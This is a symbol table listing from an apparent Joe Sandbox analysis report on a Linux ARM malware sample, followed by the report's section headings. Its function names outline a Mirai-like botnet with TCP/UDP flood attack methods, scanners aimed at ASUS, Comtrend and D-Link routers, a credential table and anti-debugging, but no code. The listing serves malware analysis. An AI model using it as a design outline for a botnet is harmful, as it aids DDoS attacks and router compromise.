__GI_readlink	.symtab	0x1e36c	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x1ee1c	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x1eed4	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x22d3c	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x1e3f0	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x1efa0	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x1f05c	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x1e474	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x1f0e4	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x20cf4	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x22894	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x1f170	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x1f1c0	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x1f1d4	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x1e4b4	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x21dc4	300	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x1f12c	68	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x20b24	216	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x24cc0	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x24db0	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x24ca0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x24ca0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x1eb60	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x24e9c	68	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x1eb84	52	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x1eb00	96	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x24ff4	64	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x24ee0	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x24f30	76	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x1ebb8	48	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x24f7c	120	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x20e00	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x21204	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x25058	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x1e540	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x22da8	20	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x1e570	64	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x22030	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x3200c	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x3200c	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x26828	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x267bc	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x267e0	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x26804	36	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1df18	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x1e044	24	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x22940	8	FUNC	<unknown>	DEFAULT	2
__aeabi_uidiv	.symtab	0x1de04	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x1df00	24	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x26788	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x26780	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x26778	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x32bac	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x3221c	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x35b34	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x32330	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x32330	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x22354	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x21f10	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x21ef4	24	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x32244	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x35110	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x320b8	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x22934	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x22928	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x1e05c	20	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1df18	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x32008	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x35b34	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x32ba4	4	OBJECT	<unknown>	DEFAULT	14
__errno_location	.symtab	0x1e9ec	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x29ce4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x29bcc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x32654	4	OBJECT	<unknown>	HIDDEN	14
__fcntl_nocancel	.symtab	0x1e070	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x24644	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x3200c	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x32008	0	NOTYPE	<unknown>	HIDDEN	10
__fork	.symtab	0x21828	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x35b00	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x35b04	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x32658	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x32004	0	OBJECT	<unknown>	DEFAULT	9
__getdents	.symtab	0x22a5c	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x25600	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x22b64	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x21c8c	72	FUNC	<unknown>	DEFAULT	2
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x25f2c	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x26014	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x267ac	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x25fa8	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x260cc	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x267b4	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x26890	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x26fa4	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x26230	1352	FUNC	<unknown>	DEFAULT	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x32008	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x32004	0	NOTYPE	<unknown>	HIDDEN	9
__libc_close	.symtab	0x21f10	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x1ec98	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x22130	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x221b8	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x1e108	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x21828	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x35b08	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x22cdc	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x21fa0	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x220c0	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x1ee1c	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x1eed4	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x1e3f0	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x1efa0	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x1f05c	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x252d0	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x22894	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x32ba0	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x22030	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x21bf4	152	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x20264	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x1f304	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x32140	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x35788	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x201b4	176	FUNC	<unknown>	DEFAULT	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x21fa0	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x21f84	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x32ba8	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x32004	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x32004	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x32238	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x3223c	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x25500	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x2229c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x22294	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x22294	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x22294	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x22294	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x220c0	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x220a4	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x26790	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x32bb0	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x1f2bc	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x1f2e0	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x1f298	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x25a24	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x255f4	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x32258	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x25748	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x257a0	220	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x2587c	48	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x258ac	164	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x23d58	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x3225c	4	OBJECT	<unknown>	DEFAULT	13
__sys_connect	.symtab	0x1ec54	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x1edd8	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x1ee8c	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x1ef5c	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x1f010	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x22868	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x22c9c	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x22950	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x1e3ac	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x252ac	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x222d8	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x223a8	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x22400	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x32234	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x1de04	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x22030	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x22014	24	FUNC	<unknown>	DEFAULT	2
__xstat32_conv	.symtab	0x22e88	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x22dbc	204	FUNC	<unknown>	HIDDEN	2
_bss_end__	.symtab	0x35b34	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x2550c	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x25544	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x35b2c	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x35b30	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x35b20	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x35b1c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x35b24	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x35b14	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x25244	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x35b10	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x35b28	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x35b18	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x35b0c	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x32330	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x35b34	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x22990	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x27020	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x32bd4	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_memcpy	.symtab	0x24810	0	FUNC	<unknown>	HIDDEN	2
_pthread_cleanup_pop_restore	.symtab	0x222ac	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x222a4	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x2291c	8	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x35780	8	OBJECT	<unknown>	HIDDEN	14
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x23714	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x23b74	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x32260	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x32bb4	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x23fe8	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x32bd0	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x32bc0	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x32bcc	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x32264	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x23bf4	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x32248	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l	.symtab	0x20e1c	472	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x20694	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0x17d68	352	FUNC	<unknown>	DEFAULT	2
anti_gdb_entry	.symtab	0x156ec	24	FUNC	<unknown>	DEFAULT	2
asus.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
asus_fake_time	.symtab	0x3237c	4	OBJECT	<unknown>	DEFAULT	14
asus_rsck	.symtab	0x32350	4	OBJECT	<unknown>	DEFAULT	14
asus_scanner_init	.symtab	0x82a4	2708	FUNC	<unknown>	DEFAULT	2
asus_scanner_pid	.symtab	0x3234c	4	OBJECT	<unknown>	DEFAULT	14
asus_scanner_rawpkt	.symtab	0x32354	40	OBJECT	<unknown>	DEFAULT	14
asus_setup_connection	.symtab	0x81d0	212	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x20de0	32	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x20de0	32	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app_http	.symtab	0xc09c	8048	FUNC	<unknown>	DEFAULT	2
attack_get_opt_int	.symtab	0x9118	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0x90ac	108	FUNC	<unknown>	DEFAULT	2
attack_get_opt_str	.symtab	0x8d38	92	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0x9188	748	FUNC	<unknown>	DEFAULT	2
attack_method.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_method_std	.symtab	0xb648	672	FUNC	<unknown>	DEFAULT	2
attack_method_tcp	.symtab	0x9b6c	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpfrag	.symtab	0xa8c4	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpstomp	.symtab	0xb8e8	1972	FUNC	<unknown>	DEFAULT	2
attack_method_udpplain	.symtab	0xb3a8	672	FUNC	<unknown>	DEFAULT	2
attack_parse	.symtab	0x8e90	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0x8d94	252	FUNC	<unknown>	DEFAULT	2
attack_tcp_ack	.symtab	0x9474	1784	FUNC	<unknown>	DEFAULT	2
attack_tcp_syn	.symtab	0xa218	1708	FUNC	<unknown>	DEFAULT	2
attack_udp_vse	.symtab	0xaf70	1080	FUNC	<unknown>	DEFAULT	2
auth_table	.symtab	0x325d8	4	OBJECT	<unknown>	DEFAULT	14
auth_table_len	.symtab	0x325ac	4	OBJECT	<unknown>	DEFAULT	14
auth_table_max_weight	.symtab	0x325dc	2	OBJECT	<unknown>	DEFAULT	14
been_there_done_that	.symtab	0x32650	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x1ec10	68	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x2559c	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x1f1d4	196	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x1fcb4	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0xe00c	80	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0xe05c	164	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x1ea0c	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x21f10	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x1e5b0	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5105	.symtab	0x32330	1	OBJECT	<unknown>	DEFAULT	14
comtrend.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
comtrend_fake_time	.symtab	0x323b8	4	OBJECT	<unknown>	DEFAULT	14
comtrend_range	.symtab	0x320b8	36	OBJECT	<unknown>	DEFAULT	13
comtrend_rsck	.symtab	0x3238c	4	OBJECT	<unknown>	DEFAULT	14
comtrend_scanner	.symtab	0xe1d8	3180	FUNC	<unknown>	DEFAULT	2
comtrend_scanner_pid	.symtab	0x32388	4	OBJECT	<unknown>	DEFAULT	14
comtrend_scanner_rawpkt	.symtab	0x32390	40	OBJECT	<unknown>	DEFAULT	14
comtrend_setup_connection	.symtab	0xe100	216	FUNC	<unknown>	DEFAULT	2
conn_table	.symtab	0x35114	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x1ec98	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dlink_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dlinkscanner_fake_time	.symtab	0x323ec	4	OBJECT	<unknown>	DEFAULT	14
dlinkscanner_rsck	.symtab	0x323c0	4	OBJECT	<unknown>	DEFAULT	14
dlinkscanner_scanner_init	.symtab	0xef18	2820	FUNC	<unknown>	DEFAULT	2
dlinkscanner_scanner_pid	.symtab	0x323bc	4	OBJECT	<unknown>	DEFAULT	14
dlinkscanner_scanner_rawpkt	.symtab	0x323c4	40	OBJECT	<unknown>	DEFAULT	14
dlinkscanner_setup_connection	.symtab	0xee44	212	FUNC	<unknown>	DEFAULT	2
ensure_single_instance	.symtab	0x15704	356	FUNC	<unknown>	DEFAULT	2
environ	.symtab	0x32ba4	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x20ff4	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fake_time	.symtab	0x325e0	4	OBJECT	<unknown>	DEFAULT	14
fclose	.symtab	0x233c4	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x1e108	244	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x32108	4	OBJECT	<unknown>	DEFAULT	13
fd_serv	.symtab	0x3210c	4	OBJECT	<unknown>	DEFAULT	13
fd_to_DIR	.symtab	0x1e6c0	208	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x1e854	176	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x24298	940	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x23d88	324	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x24644	300	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x23ecc	284	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x24770	160	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fopen	.symtab	0x236f4	32	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x21828	972	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork_handler_pool	.symtab	0x3265c	1348	OBJECT	<unknown>	DEFAULT	14
frame_dummy	.symtab	0x8134	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x20418	572	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x229f8	100	FUNC	<unkno

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report vmDskLsKEA

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Linux Analysis Report
vmDskLsKEA